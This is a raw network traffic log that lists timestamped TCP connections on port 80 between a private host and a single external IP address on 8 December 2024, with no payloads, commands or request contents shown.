Dec 8, 2024 15:28:24.638345003 CET	49857	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:24.757886887 CET	80	49857	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:24.757898092 CET	80	49857	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:24.757900953 CET	80	49857	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:25.562987089 CET	80	49856	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:25.607044935 CET	49856	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:25.800937891 CET	80	49856	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:25.841386080 CET	49856	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:26.934431076 CET	80	49857	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:26.982024908 CET	49857	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:27.168299913 CET	80	49857	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:27.216356039 CET	49857	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:27.288331985 CET	49856	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:27.288335085 CET	49857	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:27.288664103 CET	49863	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:27.409336090 CET	80	49863	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:27.409349918 CET	80	49857	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:27.409420967 CET	49857	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:27.409425020 CET	49863	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:27.409579039 CET	49863	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:27.409889936 CET	80	49856	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:27.409939051 CET	49856	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:27.533168077 CET	80	49863	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:27.764698029 CET	49863	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:27.885030985 CET	80	49863	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:27.885071039 CET	80	49863	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:27.885128021 CET	80	49863	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:28.752886057 CET	80	49863	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:28.810128927 CET	49863	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:28.992626905 CET	80	49863	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:29.044522047 CET	49863	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:29.116481066 CET	49869	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:29.240586996 CET	80	49869	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:29.240677118 CET	49869	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:29.240799904 CET	49869	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:29.360136986 CET	80	49869	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:29.591556072 CET	49869	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:29.710968971 CET	80	49869	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:29.710978031 CET	80	49869	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:29.710988045 CET	80	49869	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:30.578612089 CET	80	49869	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:30.622613907 CET	49869	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:30.812388897 CET	49875	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:30.812932014 CET	49869	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:30.813620090 CET	80	49869	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:30.813664913 CET	49869	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:30.929155111 CET	49863	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:30.930860043 CET	49876	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:30.933068037 CET	80	49875	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:30.933136940 CET	49875	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:30.933264971 CET	49875	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:30.934355021 CET	80	49869	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:30.934396982 CET	49869	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:31.050590992 CET	80	49876	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:31.050666094 CET	49876	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:31.050756931 CET	49876	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:31.052746058 CET	80	49875	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:31.170931101 CET	80	49876	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:31.279798985 CET	49875	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:31.401961088 CET	80	49875	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:31.403704882 CET	80	49875	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:31.403992891 CET	49876	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:31.524527073 CET	80	49876	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:31.524574041 CET	80	49876	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:31.524620056 CET	80	49876	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:32.343777895 CET	80	49875	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:32.369805098 CET	80	49876	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:32.388246059 CET	49875	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:32.419483900 CET	49876	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:32.576565981 CET	80	49875	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:32.608395100 CET	80	49876	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:32.622636080 CET	49875	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:32.653884888 CET	49876	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:32.726397038 CET	49875	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:32.726449013 CET	49876	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:32.726743937 CET	49881	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:32.846730947 CET	80	49881	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:32.846781969 CET	80	49875	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:32.846787930 CET	49881	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:32.846834898 CET	49875	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:32.846945047 CET	49881	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:32.847229004 CET	80	49876	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:32.847279072 CET	49876	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:32.966176987 CET	80	49881	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:33.200897932 CET	49881	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:33.320602894 CET	80	49881	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:33.320614100 CET	80	49881	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:33.320621014 CET	80	49881	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:34.203406096 CET	80	49881	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:34.248039007 CET	49881	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:34.442789078 CET	80	49881	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:34.497615099 CET	49881	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:34.554730892 CET	49883	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:34.674335957 CET	80	49883	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:34.674506903 CET	49883	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:34.674662113 CET	49883	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:34.793945074 CET	80	49883	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:35.028986931 CET	49883	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:35.148494005 CET	80	49883	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:35.148544073 CET	80	49883	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:35.148638010 CET	80	49883	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:36.024429083 CET	80	49883	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:36.075767994 CET	49883	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:36.256392956 CET	80	49883	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:36.310164928 CET	49883	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:36.376523972 CET	49889	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:36.376626968 CET	49883	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:36.496191025 CET	80	49889	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:36.496260881 CET	49889	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:36.496345043 CET	49889	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:36.496422052 CET	80	49883	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:36.496473074 CET	49883	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:36.615798950 CET	80	49889	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:36.841520071 CET	49889	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:36.963623047 CET	80	49889	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:36.963682890 CET	80	49889	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:36.963692904 CET	80	49889	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:37.592237949 CET	49895	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:37.592536926 CET	49889	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:37.711560965 CET	80	49895	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:37.711663008 CET	49895	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:37.712145090 CET	80	49889	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:37.712198019 CET	49889	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:37.717772961 CET	49896	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:37.717827082 CET	49895	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:37.837150097 CET	80	49896	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:37.837174892 CET	80	49895	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:37.837244034 CET	49896	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:37.837368011 CET	49896	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:37.956672907 CET	80	49896	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:38.075958014 CET	49895	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:38.185285091 CET	49896	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:38.195360899 CET	80	49895	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:38.195467949 CET	80	49895	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:38.304807901 CET	80	49896	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:38.304852009 CET	80	49896	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:38.304920912 CET	80	49896	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:39.035151005 CET	80	49895	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:39.075762033 CET	49895	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:39.168108940 CET	80	49896	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:39.216650009 CET	49896	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:39.268614054 CET	80	49895	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:39.325784922 CET	49895	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:39.339266062 CET	80	49881	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:39.342439890 CET	49881	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:39.400542021 CET	80	49896	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:39.450772047 CET	49896	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:39.522659063 CET	49895	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:39.522906065 CET	49896	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:39.522911072 CET	49902	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:39.642287016 CET	80	49902	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:39.642456055 CET	49902	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:39.642549992 CET	80	49895	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:39.642569065 CET	49902	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:39.642600060 CET	49895	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:39.642957926 CET	80	49896	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:39.642999887 CET	49896	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:39.761928082 CET	80	49902	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:39.997936964 CET	49902	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:40.117453098 CET	80	49902	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:40.117484093 CET	80	49902	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:40.117516994 CET	80	49902	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:40.965383053 CET	80	49902	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:41.013252974 CET	49902	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:41.200793028 CET	80	49902	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:41.247618914 CET	49902	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:41.321918964 CET	49908	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:41.444087982 CET	80	49908	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:41.444246054 CET	49908	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:41.444286108 CET	49908	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:41.563534021 CET	80	49908	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:41.794598103 CET	49908	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:41.914486885 CET	80	49908	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:41.914499044 CET	80	49908	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:41.914568901 CET	80	49908	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:42.768253088 CET	80	49908	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:42.825757980 CET	49908	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:43.000971079 CET	80	49908	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:43.044496059 CET	49908	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:43.117382050 CET	49909	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:43.117474079 CET	49908	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:43.117973089 CET	49756	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:43.118045092 CET	49902	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:43.118083000 CET	49881	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:43.236788988 CET	80	49909	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:43.236876011 CET	49909	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:43.237008095 CET	49909	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:43.237240076 CET	80	49908	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:43.237318039 CET	49908	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:43.356597900 CET	80	49909	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:43.591629028 CET	49909	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:43.711812973 CET	80	49909	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:43.711855888 CET	80	49909	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:43.711889982 CET	80	49909	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:44.279783964 CET	49915	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:44.280011892 CET	49909	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:44.399425030 CET	49916	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:44.401606083 CET	80	49915	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:44.401688099 CET	49915	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:44.401787043 CET	80	49909	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:44.401792049 CET	49915	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:44.401835918 CET	49909	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:44.523757935 CET	80	49916	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:44.525891066 CET	49916	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:44.525981903 CET	49916	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:44.526267052 CET	80	49915	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:44.650157928 CET	80	49916	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:44.747765064 CET	49915	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:44.867753983 CET	80	49915	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:44.868140936 CET	80	49915	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:44.872741938 CET	49916	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:44.992198944 CET	80	49916	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:44.992208004 CET	80	49916	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:44.992217064 CET	80	49916	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:45.723938942 CET	80	49915	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:45.763226032 CET	49915	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:45.853246927 CET	80	49916	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:45.903835058 CET	49916	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:45.957278013 CET	80	49915	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:45.997595072 CET	49915	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:46.088808060 CET	80	49916	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:46.138216019 CET	49916	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:46.211612940 CET	49915	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:46.211615086 CET	49916	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:46.211918116 CET	49922	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:46.331346035 CET	80	49915	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:46.331382036 CET	80	49922	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:46.331425905 CET	49915	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:46.331476927 CET	49922	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:46.331614017 CET	49922	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:46.331758022 CET	80	49916	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:46.331806898 CET	49916	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:46.451025963 CET	80	49922	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:46.685286045 CET	49922	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:46.806309938 CET	80	49922	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:46.806323051 CET	80	49922	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:46.806338072 CET	80	49922	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:47.665875912 CET	80	49922	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:47.716322899 CET	49922	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:47.896572113 CET	80	49922	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:47.950701952 CET	49922	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:48.009186029 CET	49927	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:48.128547907 CET	80	49927	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:48.130388021 CET	49927	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:48.130521059 CET	49927	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:48.250027895 CET	80	49927	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:48.482836962 CET	49927	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:48.604191065 CET	80	49927	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:48.604211092 CET	80	49927	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:48.604222059 CET	80	49927	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:49.560025930 CET	80	49927	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:49.606928110 CET	49927	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:49.690546989 CET	80	49927	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:49.731929064 CET	49927	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:49.805232048 CET	49922	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:49.805641890 CET	49927	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:49.805911064 CET	49930	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:49.925431013 CET	80	49930	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:49.925488949 CET	49930	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:49.925580025 CET	49930	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:49.925690889 CET	80	49927	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:49.926325083 CET	49927	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:50.044800997 CET	80	49930	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:50.278917074 CET	49930	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:50.398341894 CET	80	49930	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:50.398392916 CET	80	49930	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:50.398442984 CET	80	49930	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:50.967353106 CET	49930	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:50.967443943 CET	49934	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:51.087217093 CET	80	49934	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:51.087342024 CET	49934	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:51.087480068 CET	49934	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:51.087642908 CET	80	49930	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:51.087734938 CET	49930	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:51.088885069 CET	49936	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:51.206741095 CET	80	49934	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:51.208555937 CET	80	49936	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:51.210338116 CET	49936	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:51.210522890 CET	49936	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:51.329874039 CET	80	49936	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:51.438301086 CET	49934	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:51.557612896 CET	80	49934	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:51.557697058 CET	80	49934	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:51.560235977 CET	49936	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:51.679563999 CET	80	49936	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:51.679584980 CET	80	49936	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:51.679641008 CET	80	49936	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:52.407707930 CET	80	49934	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:52.450634003 CET	49934	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:52.535586119 CET	80	49936	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:52.591262102 CET	49936	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:52.644364119 CET	80	49934	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:52.685028076 CET	49934	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:52.768261909 CET	80	49936	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:52.810023069 CET	49936	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:52.885637999 CET	49934	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:52.885880947 CET	49936	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:52.886037111 CET	49941	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:53.009135962 CET	80	49934	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:53.009258032 CET	80	49941	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:53.009443998 CET	49934	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:53.009443998 CET	49941	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:53.009546995 CET	49941	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:53.009706974 CET	80	49936	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:53.013540983 CET	49936	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:53.129576921 CET	80	49941	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:53.356987000 CET	49941	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:53.476907969 CET	80	49941	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:53.476918936 CET	80	49941	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:53.476928949 CET	80	49941	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:54.329621077 CET	80	49941	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:54.372503996 CET	49941	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:54.568438053 CET	80	49941	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:54.622499943 CET	49941	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:54.682605982 CET	49947	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:54.802436113 CET	80	49947	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:54.802495956 CET	49947	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:54.802606106 CET	49947	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:54.921871901 CET	80	49947	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:55.154283047 CET	49947	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:55.273700953 CET	80	49947	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:55.273720980 CET	80	49947	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:55.273802042 CET	80	49947	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:56.121335983 CET	80	49947	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:56.169348955 CET	49947	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:56.356427908 CET	80	49947	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:56.403724909 CET	49947	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:56.480048895 CET	49941	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:56.480700016 CET	49947	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:56.480950117 CET	49951	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:56.601083994 CET	80	49951	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:56.601130009 CET	49951	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:56.601273060 CET	49951	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:56.601295948 CET	80	49947	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:56.601341963 CET	49947	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:56.720900059 CET	80	49951	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:56.950685024 CET	49951	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:57.070235014 CET	80	49951	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:57.070286036 CET	80	49951	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:57.070302963 CET	80	49951	185.246.67.73	192.168.2.4
